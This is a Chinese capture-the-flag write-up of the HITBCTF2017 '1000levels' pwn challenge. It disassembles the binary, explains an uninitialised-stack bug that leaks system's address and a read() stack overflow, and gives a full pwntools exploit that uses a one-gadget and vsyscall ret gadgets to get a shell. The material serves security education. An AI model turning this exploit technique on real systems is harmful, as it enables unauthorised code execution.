CTF-All-In-One/doc/6.1.16_pwn_hitbctf2017_1000levels.md
firmianay d19b1ff24b fix
2018-05-01 21:57:53 +08:00

495 lines
23 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 6.1.16 pwn HITBCTF2017 1000levels
- [题目复现](#题目复现)
- [题目解析](#题目解析)
- [漏洞利用](#漏洞利用)
- [参考资料](#参考资料)
[下载文件](../src/writeup/6.1.16_pwn_hitbctf2017_1000levels)
## 题目复现
```
$ file 1000levels
1000levels: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d0381dfa29216ed7d765936155bbaa3f9501283a, not stripped
$ checksec -f 1000levels
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No 0 6 1000levels
$ strings libc.so.6 | grep "GNU C"
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu9) stable release version 2.23, by Roland McGrath et al.
Compiled by GNU CC version 5.4.0 20160609.
```
关闭了 Canary开启 NX 和 PIE。于是猜测可能是栈溢出但需要绕过 ASLR。not stripped 可以说是很开心了。
玩一下:
```
$ ./1000levels
Welcome to 1000levels, it's much more diffcult than before.
1. Go
2. Hint
3. Give up
Choice:
1
How many levels?
0
Coward
Any more?
1
Let's go!'
====================================================
Level 1
Question: 0 * 0 = ? Answer:0
Great job! You finished 1 levels in 1 seconds
```
Go 的功能看起来就是让你先输入一个数,然后再输入一个数,两个数相加作为 levels然后让你做算术。
但是很奇怪的是,如果你使用了 Hint 功能,然后第一个数输入了 0 的时候,无论第二个数是多少,仿佛都会出现无限多的 levels
```
$ ./1000levels
Welcome to 1000levels, it's much more diffcult than before.
1. Go
2. Hint
3. Give up
Choice:
2
NO PWN NO FUN
1. Go
2. Hint
3. Give up
Choice:
1
How many levels?
0
Coward
Any more?
1
More levels than before!
Let's go!'
====================================================
Level 1
Question: 0 * 0 = ? Answer:0
====================================================
Level 2
Question: 1 * 1 = ? Answer:1
====================================================
Level 3
Question: 1 * 1 = ? Answer:1
====================================================
Level 4
Question: 3 * 1 = ? Answer:
```
所以应该重点关注一下 Hint 功能。
## 题目解析
程序比较简单,基本上只有 Go 和 Hint 两个功能。
#### hint
先来看 hint
```
[0x000009d0]> pdf @ sym.hint
/ (fcn) sym.hint 140
| sym.hint ();
| ; var int local_110h @ rbp-0x110
| ; CALL XREF from 0x00000fa6 (main)
| 0x00000cf0 push rbp
| 0x00000cf1 mov rbp, rsp
| 0x00000cf4 sub rsp, 0x110 ; 开辟栈空间 rsp - 0x110
| 0x00000cfb mov rax, qword [reloc.system] ; [0x201fd0:8]=0
| 0x00000d02 mov qword [local_110h], rax ; 将 system 地址放到栈顶 [local_110h]
| 0x00000d09 lea rax, obj.show_hint ; 0x20208c
| 0x00000d10 mov eax, dword [rax] ; 取出 show_hint
| 0x00000d12 test eax, eax
| ,=< 0x00000d14 je 0xd41 ; 当 show_hint 为 0 时
| | 0x00000d16 mov rax, qword [local_110h] ; 否则继续
| | 0x00000d1d lea rdx, [local_110h]
| | 0x00000d24 lea rcx, [rdx + 8]
| | 0x00000d28 mov rdx, rax
| | 0x00000d2b lea rsi, str.Hint:__p ; 0x111d ; "Hint: %p\n"
| | 0x00000d32 mov rdi, rcx
| | 0x00000d35 mov eax, 0
| | 0x00000d3a call sym.imp.sprintf ; 将 system 地址复制到 [local_110h+0x8]
| ,==< 0x00000d3f jmp 0xd66
| || ; JMP XREF from 0x00000d14 (sym.hint)
| |`-> 0x00000d41 lea rax, [local_110h]
| | 0x00000d48 add rax, 8 ; 将 "NO PWN NO FUN" 复制到 [local_110h+0x8]
| | 0x00000d4c movabs rsi, 0x4e204e5750204f4e
| | 0x00000d56 mov qword [rax], rsi
| | 0x00000d59 mov dword [rax + 8], 0x5546204f ; [0x5546204f:4]=-1
| | 0x00000d60 mov word [rax + 0xc], 0x4e ; 'N' ; [0x4e:2]=0
| | ; JMP XREF from 0x00000d3f (sym.hint)
| `--> 0x00000d66 lea rax, [local_110h]
| 0x00000d6d add rax, 8
| 0x00000d71 mov rdi, rax
| 0x00000d74 call sym.imp.puts ; 打印出 [local_110h+0x8]
| 0x00000d79 nop
| 0x00000d7a leave
\ 0x00000d7b ret
[0x000009d0]> ir~system
vaddr=0x00201fd0 paddr=0x00001fd0 type=SET_64 system
[0x000009d0]> is~show_hint
051 0x0000208c 0x0020208c GLOBAL OBJECT 4 show_hint
```
可以看到 `system()` 的地址被复制到栈上(`local_110h`),然后对全局变量 `show_hint` 进行判断,如果为 0打印字符串 “NO PWN NO FUN”否则打印 `system()` 的地址。
为了绕过 ASLR我们需要信息泄漏如果能够修改 `show_hint`,那我们就可以得到 `system()` 的地址。但是 `show_hint` 放在 `.bss` 段上,程序开启了 PIE地址随机无法修改。
#### go
继续看 go
```
[0x000009d0]> pdf @ sym.go
/ (fcn) sym.go 372
| sym.go ();
| ; var int local_120h @ rbp-0x120
| ; var int local_118h @ rbp-0x118
| ; var int local_114h @ rbp-0x114
| ; var int local_110h @ rbp-0x110
| ; var int local_108h @ rbp-0x108
| ; CALL XREF from 0x00000f9f (main)
| 0x00000b7c push rbp
| 0x00000b7d mov rbp, rsp
| 0x00000b80 sub rsp, 0x120 ; 开辟栈空间 rsp - 0x120
| 0x00000b87 lea rdi, str.How_many_levels ; 0x1094 ; "How many levels?"
| 0x00000b8e call sym.imp.puts ; int puts(const char *s)
| 0x00000b93 call sym.read_num ; ssize_t read(int fildes, void *buf, size_t nbyte)
| 0x00000b98 mov qword [local_120h], rax ; 读入第一个数 num1 放到 [local_120h]
| 0x00000b9f mov rax, qword [local_120h]
| 0x00000ba6 test rax, rax
| ,=< 0x00000ba9 jg 0xbb9 ; num1 大于 0 时跳转
| | 0x00000bab lea rdi, str.Coward ; 0x10a5 ; "Coward"
| | 0x00000bb2 call sym.imp.puts ; int puts(const char *s)
| ,==< 0x00000bb7 jmp 0xbc7
| || ; JMP XREF from 0x00000ba9 (sym.go)
| |`-> 0x00000bb9 mov rax, qword [local_120h]
| | 0x00000bc0 mov qword [local_110h], rax ; num1 放到 [local_110h]
| | ; JMP XREF from 0x00000bb7 (sym.go)
| `--> 0x00000bc7 lea rdi, str.Any_more ; 0x10ac ; "Any more?"
| 0x00000bce call sym.imp.puts ; int puts(const char *s)
| 0x00000bd3 call sym.read_num ; ssize_t read(int fildes, void *buf, size_t nbyte)
| 0x00000bd8 mov qword [local_120h], rax ; 读入第二个数 num2 到 [local_120h]
| 0x00000bdf mov rdx, qword [local_110h]
| 0x00000be6 mov rax, qword [local_120h]
| 0x00000bed add rax, rdx ; 两个数的和 num3 = num1 + num2
| 0x00000bf0 mov qword [local_110h], rax
| 0x00000bf7 mov rax, qword [local_110h]
| 0x00000bfe test rax, rax
| ,=< 0x00000c01 jg 0xc14 ; num3 大于 0 时跳转
| | 0x00000c03 lea rdi, str.Coward ; 0x10a5 ; "Coward"
| | 0x00000c0a call sym.imp.puts ; int puts(const char *s)
| ,==< 0x00000c0f jmp 0xcee
| |`-> 0x00000c14 mov rax, qword [local_110h]
| | 0x00000c1b cmp rax, 0x3e7 ; num3 与 999 比较
| |,=< 0x00000c21 jle 0xc3c ; num3 小于等于 999 时
| || 0x00000c23 lea rdi, str.More_levels_than_before ; 0x10b6 ; "More levels than before!"
| || 0x00000c2a call sym.imp.puts ; int puts(const char *s)
| || 0x00000c2f mov qword [local_108h], 0x3e8 ; 将 num3 设为最大值 1000
| ,===< 0x00000c3a jmp 0xc4a
| ||| ; JMP XREF from 0x00000c21 (sym.go)
| ||`-> 0x00000c3c mov rax, qword [local_110h]
| || 0x00000c43 mov qword [local_108h], rax ; 把 num3 放到 [local_108h]
| || ; JMP XREF from 0x00000c3a (sym.go)
| `---> 0x00000c4a lea rdi, str.Let_s_go ; 0x10cf ; "Let's go!'"
| | 0x00000c51 call sym.imp.puts ; int puts(const char *s)
| | 0x00000c56 mov edi, 0
| | 0x00000c5b call sym.imp.time ; time_t time(time_t *timer)
| | 0x00000c60 mov dword [local_118h], eax
| | 0x00000c66 mov rax, qword [local_108h]
| | 0x00000c6d mov edi, eax ; rdi = num3
| | 0x00000c6f call sym.level_int ; 进入计算题游戏
| | 0x00000c74 test eax, eax
| | 0x00000c76 setne al
| | 0x00000c79 test al, al
| |,=< 0x00000c7b je 0xcd8 ; 返回值为 0 时跳转,游戏失败
| || 0x00000c7d mov edi, 0 ; 否则游戏成功
| || 0x00000c82 call sym.imp.time ; time_t time(time_t *timer)
| || 0x00000c87 mov dword [local_114h], eax
| || 0x00000c8d mov edx, dword [local_114h]
| || 0x00000c93 mov eax, dword [local_118h]
| || 0x00000c99 sub edx, eax
| || 0x00000c9b mov rax, qword [local_108h]
| || 0x00000ca2 lea rcx, [local_120h]
| || 0x00000ca9 lea rdi, [rcx + 0x20] ; "@"
| || 0x00000cad mov ecx, edx
| || 0x00000caf mov rdx, rax
| || 0x00000cb2 lea rsi, str.Great_job__You_finished__d_levels_in__d_seconds ; 0x10e0 ; "Great job! You finished %d levels in %d seconds\n"
| || 0x00000cb9 mov eax, 0
| || 0x00000cbe call sym.imp.sprintf ; int sprintf(char *s,
| || 0x00000cc3 lea rax, [local_120h]
| || 0x00000cca add rax, 0x20
| || 0x00000cce mov rdi, rax
| || 0x00000cd1 call sym.imp.puts ; int puts(const char *s)
| ,===< 0x00000cd6 jmp 0xce4
| ||| ; JMP XREF from 0x00000c7b (sym.go)
| ||`-> 0x00000cd8 lea rdi, str.You_failed. ; 0x1111 ; "You failed."
| || 0x00000cdf call sym.imp.puts ; int puts(const char *s)
| || ; JMP XREF from 0x00000cd6 (sym.go)
| `---> 0x00000ce4 mov edi, 0
| | 0x00000ce9 call sym.imp.exit ; void exit(int status)
| | ; JMP XREF from 0x00000c0f (sym.go)
| `--> 0x00000cee leave
\ 0x00000cef ret
```
可以看到第一个数 num1 被读到 `local_120h`,如果大于 0num1 被复制到 `local_110h`,然后读取第二个数 num2 到 `local_120h`,将两个数相加再存到 `local_110h`。但是如果 num1 小于等于 0程序会直接执行读取 num2 到 `local_120h` 的操作,然后读取 `local_110h` 的数值作为 num1将两数相加。整个过程都没有对 `local_110h` 进行初始化,程序似乎默认了 `local_110h` 的值是 0然而事实并非如此。回想一下 hint 操作,放置 system 的地址正是 `local_110h`两个函数的rbp相同。这是一个内存未初始化造成的漏洞。
接下来,根据两数相加的和,程序有三条路径,如果和小于 0程序返回到开始菜单如果和大于 0 且小于 1000进入游戏如果和大于 1000则将其设置为最大值 1000进入游戏。
然后来看游戏函数 `sym.level_int()`
```
[0x000009d0]> pdf @ sym.level_int
/ (fcn) sym.level_int 289
| sym.level_int ();
| ; var int local_34h @ rbp-0x34
| ; var int local_30h @ rbp-0x30
| ; var int local_28h @ rbp-0x28
| ; var int local_20h @ rbp-0x20
| ; var int local_18h @ rbp-0x18
| ; var int local_10h @ rbp-0x10
| ; var int local_ch @ rbp-0xc
| ; var int local_8h @ rbp-0x8
| ; var int local_4h @ rbp-0x4
| ; CALL XREF from 0x00000c6f (sym.go)
| ; CALL XREF from 0x00000e70 (sym.level_int)
| 0x00000e2d push rbp
| 0x00000e2e mov rbp, rsp
| 0x00000e31 sub rsp, 0x40 ; '@'
| 0x00000e35 mov dword [local_34h], edi ; 将 level 存到 [local_34h]
| 0x00000e38 mov qword [local_30h], 0
| 0x00000e40 mov qword [local_28h], 0
| 0x00000e48 mov qword [local_20h], 0
| 0x00000e50 mov qword [local_18h], 0
| 0x00000e58 cmp dword [local_34h], 0
| ,=< 0x00000e5c jne 0xe68 ; level 不等于 0 时继续
| | 0x00000e5e mov eax, 1
| ,==< 0x00000e63 jmp 0xf4c ; 否则函数返回 1
| || ; JMP XREF from 0x00000e5c (sym.level_int)
| |`-> 0x00000e68 mov eax, dword [local_34h]
| | 0x00000e6b sub eax, 1 ; level = level - 1
| | 0x00000e6e mov edi, eax
| | 0x00000e70 call sym.level_int ; 递归调用游戏函数
| | 0x00000e75 test eax, eax
| | 0x00000e77 sete al
| | 0x00000e7a test al, al
| |,=< 0x00000e7c je 0xe88 ; 返回值为 1 时继续
| || 0x00000e7e mov eax, 0
| ,===< 0x00000e83 jmp 0xf4c ; 否则函数结束返回 0
| ||| ; JMP XREF from 0x00000e7c (sym.level_int)
| ||`-> 0x00000e88 call sym.imp.rand ; int rand(void)
| || 0x00000e8d cdq
| || 0x00000e8e idiv dword [local_34h]
| || 0x00000e91 mov dword [local_8h], edx
| || 0x00000e94 call sym.imp.rand ; int rand(void)
| || 0x00000e99 cdq
| || 0x00000e9a idiv dword [local_34h]
| || 0x00000e9d mov dword [local_ch], edx
| || 0x00000ea0 mov eax, dword [local_8h]
| || 0x00000ea3 imul eax, dword [local_ch]
| || 0x00000ea7 mov dword [local_10h], eax ; 将正确答案放到 [local_10h]
| || 0x00000eaa lea rdi, str. ; 0x1160 ; "===================================================="
| || 0x00000eb1 call sym.imp.puts ; int puts(const char *s)
| || 0x00000eb6 mov eax, dword [local_34h]
| || 0x00000eb9 mov esi, eax
| || 0x00000ebb lea rdi, str.Level__d ; 0x1195 ; "Level %d\n"
| || 0x00000ec2 mov eax, 0
| || 0x00000ec7 call sym.imp.printf ; int printf(const char *format)
| || 0x00000ecc mov edx, dword [local_ch]
| || 0x00000ecf mov eax, dword [local_8h]
| || 0x00000ed2 mov esi, eax
| || 0x00000ed4 lea rdi, str.Question:__d____d_____Answer: ; 0x119f ; "Question: %d * %d = ? Answer:"
| || 0x00000edb mov eax, 0
| || 0x00000ee0 call sym.imp.printf ; int printf(const char *format)
| || 0x00000ee5 lea rax, [local_30h] ; 读取输入到 [local_30h]
| || 0x00000ee9 mov edx, 0x400
| || 0x00000eee mov rsi, rax
| || 0x00000ef1 mov edi, 0
| || 0x00000ef6 call sym.imp.read ; read(0, local_30h, 0x400)
| || 0x00000efb mov dword [local_4h], eax ; 返回值放到 [local_4h],即读取字节数
| || ; JMP XREF from 0x00000f16 (sym.level_int)
| ||.-> 0x00000efe mov eax, dword [local_4h]
| ||: 0x00000f01 and eax, 7 ; 取出低 3 位
| ||: 0x00000f04 test eax, eax
| ,====< 0x00000f06 je 0xf18 ; 为 0 时跳转,即 8 的倍数
| |||: 0x00000f08 mov eax, dword [local_4h]
| |||: 0x00000f0b cdqe
| |||: 0x00000f0d mov byte [rbp + rax - 0x30], 0 ; 在字符串末尾加上 0
| |||: 0x00000f12 add dword [local_4h], 1
| |||`=< 0x00000f16 jmp 0xefe ; 循环
| ||| ; JMP XREF from 0x00000f06 (sym.level_int)
| `----> 0x00000f18 lea rax, [local_30h]
| || 0x00000f1c mov edx, 0xa
| || 0x00000f21 mov esi, 0
| || 0x00000f26 mov rdi, rax
| || 0x00000f29 call sym.imp.strtol ; long strtol(const char *str, char**endptr, int base)
| || 0x00000f2e mov rdx, rax
| || 0x00000f31 mov eax, dword [local_10h]
| || 0x00000f34 cdqe
| || 0x00000f36 cmp rdx, rax ; 将输入答案与正确答案相比较
| || 0x00000f39 sete al ; 相等时设置 al 为 1
| || 0x00000f3c test al, al
| ||,=< 0x00000f3e je 0xf47 ; 返回值为 0
| ||| 0x00000f40 mov eax, 1
| ,====< 0x00000f45 jmp 0xf4c ; 返回值为 1
| |||| ; JMP XREF from 0x00000f3e (sym.level_int)
| |||`-> 0x00000f47 mov eax, 0
| ||| ; JMP XREF from 0x00000f45 (sym.level_int)
| ||| ; JMP XREF from 0x00000e83 (sym.level_int)
| ||| ; JMP XREF from 0x00000e63 (sym.level_int)
| ```--> 0x00000f4c leave
\ 0x00000f4d ret
```
可以看到 `read()` 函数有一个很明显的栈溢出漏洞,`local_30h` 并没有 `0x400` 这么大的空间。由于游戏是递归的,所以我们需要答对前 999 道题,在最后一题时溢出,构造 ROP。
## 漏洞利用
总结一下,程序存在两个漏洞:
- hint 函数将 system 放到栈上,而 go 函数在使用该地址时未进行初始化
- level 函数存在栈溢出
关于利用的问题也有两个:
- 虽然 system 被放到了栈上,但我们不能设置其参数
- 程序开启了 PIE但没有可以进行信息泄漏的漏洞
对于第一个问题,我们有不需要参数的 one-gadget 可以用,通过将输入的第二个数设置为偏移,即可通过程序的计算将 system 修改为 one-gadget。
```
$ one_gadget libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf0274 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1117 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
```
这里我们选择 `0x4526a` 地址上的 one-gadget。
第二个问题,在随机化的情况下怎么找到可用的 `ret` gadget这时候可以利用 vsyscall这是一个固定的地址。参考章节4.15
```
gdb-peda$ vmmap vsyscall
Start End Perm Name
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
gdb-peda$ x/5i 0xffffffffff600000
0xffffffffff600000: mov rax,0x60
0xffffffffff600007: syscall
0xffffffffff600009: ret
0xffffffffff60000a: int3
0xffffffffff60000b: int3
```
但我们必须跳到 vsyscall 的开头,而不能直接跳到 ret这是内核决定的。
最后一次的 payload 和调试结果如下:
```
gdb-peda$ x/11gx 0x7fffffffec10-0x50
0x7fffffffebc0: 0x4141414141414141 0x4141414141414141 <-- rbp -0x30
0x7fffffffebd0: 0x4141414141414141 0x4141414141414141
0x7fffffffebe0: 0x4141414141414141 0x4141414141414141
0x7fffffffebf0: 0x4242424242424242 0xffffffffff600000 <-- rbp <-- ret
0x7fffffffec00: 0xffffffffff600000 0xffffffffff600000 <-- ret <-- ret
0x7fffffffec10: 0x00007ffff7a5226a <-- one-gadget
```
```
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0xa ('\n')
RDX: 0x0
RSI: 0x0
RDI: 0x7fffffffebc0 ('A' <repeats 44 times>, "P")
RBP: 0x4242424242424242 ('BBBBBBBB')
RSP: 0x7fffffffebf8 --> 0xffffffffff600000 (mov rax,0x60)
RIP: 0x555555554f4d (<_Z5leveli+288>: ret)
R8 : 0x0
R9 : 0x1999999999999999
R10: 0x0
R11: 0x7ffff7b845a0 --> 0x2000200020002
R12: 0x5555555549d0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffee40 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x555555554f45 <_Z5leveli+280>: jmp 0x555555554f4c <_Z5leveli+287>
0x555555554f47 <_Z5leveli+282>: mov eax,0x0
0x555555554f4c <_Z5leveli+287>: leave
=> 0x555555554f4d <_Z5leveli+288>: ret
0x555555554f4e <main>: push rbp
0x555555554f4f <main+1>: mov rbp,rsp
0x555555554f52 <main+4>: sub rsp,0x30
0x555555554f56 <main+8>: mov QWORD PTR [rbp-0x30],0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffebf8 --> 0xffffffffff600000 (mov rax,0x60)
0008| 0x7fffffffec00 --> 0xffffffffff600000 (mov rax,0x60)
0016| 0x7fffffffec08 --> 0xffffffffff600000 (mov rax,0x60)
0024| 0x7fffffffec10 --> 0x7ffff7a5226a (mov rax,QWORD PTR [rip+0x37ec47] # 0x7ffff7dd0eb8)
0032| 0x7fffffffec18 --> 0x3e8
0040| 0x7fffffffec20 --> 0x4e5546204f ('O FUN')
0048| 0x7fffffffec28 --> 0xff0000
0056| 0x7fffffffec30 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0000555555554f4d in level(int) ()
```
三次 return 之后,就会跳到 one-gadget 上去。
Bingo!!!
```
$ python exp.py
[+] Starting local process './1000levels': pid 6901
[*] Switching to interactive mode
$ whoami
firmy
```
#### exploit
完整的 exp 如下:
```python
#!/usr/bin/env python
from pwn import *
#context.log_level = 'debug'
io = process(['./1000levels'], env={'LD_PRELOAD':'./libc.so.6'})
one_gadget = 0x4526a
system_offset = 0x45390
ret_addr = 0xffffffffff600000
def go(levels, more):
io.sendlineafter("Choice:\n", '1')
io.sendlineafter("levels?\n", str(levels))
io.sendlineafter("more?\n", str(more))
def hint():
io.sendlineafter("Choice:\n", '2')
if __name__ == "__main__":
hint()
go(0, one_gadget - system_offset)
for i in range(999):
io.recvuntil("Question: ")
a = int(io.recvuntil(" ")[:-1])
io.recvuntil("* ")
b = int(io.recvuntil(" ")[:-1])
io.sendlineafter("Answer:", str(a * b))
payload = 'A' * 0x30 # buffer
payload += 'B' * 0x8 # rbp
payload += p64(ret_addr) * 3
io.sendafter("Answer:", payload)
io.interactive()
```
## 参考资料
- https://ctftime.org/task/4539